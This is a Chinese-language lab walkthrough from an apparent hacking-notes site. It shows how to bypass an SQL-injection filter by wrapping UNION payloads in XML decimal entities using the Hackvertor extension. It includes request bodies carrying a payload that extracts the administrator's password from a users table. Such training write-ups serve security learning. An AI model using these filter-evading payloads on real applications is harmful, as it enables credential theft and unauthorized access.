> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/sql-injection/sql-injection-filter-bypass-via-xml-encoding.md).

# 通过 XML 编码绕过 SQL 注入过滤

### 通过 XML 编码绕过过滤的 SQL 注入

此实验在库存验证功能中存在 SQL 注入漏洞。请求的结果会在应用响应中返回；因此我们可以使用一种 `UNION` 用于从其他表中恢复数据的攻击。/ 数据库包含一个 `users` 一个包含已注册用户用户名和密码的表。要解决此实验，请执行 SQL 注入攻击以获取管理员用户 ID，然后登录该账户。

提供的示例：

{% code overflow="wrap" %}

```xml
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
  <productId>2</productId>
  <storeId>2 union select 1</storeId>
</stockCheck>
```

{% endcode %}

<figure><img src="/files/9d18fdb0db92ba3862a777dcc8b681c214f6ca64" alt=""><figcaption></figcaption></figure>

* Hackvertor 扩展——十进制实体

<figure><img src="/files/1ccac133ff8d038404522944cb4b3440c5522692" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```xml
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
  <productId>2</productId>
  <storeId><@dec_entities>2 union select 1</@dec_entities></storeId>
</stockCheck>

<@dec_entities>
2 union select password from users where username='administrator'
</@dec_entities>
```

{% endcode %}

<figure><img src="/files/e17ba05969d83cfcc80a459d7afbe723d02f3e52" alt=""><figcaption></figcaption></figure>


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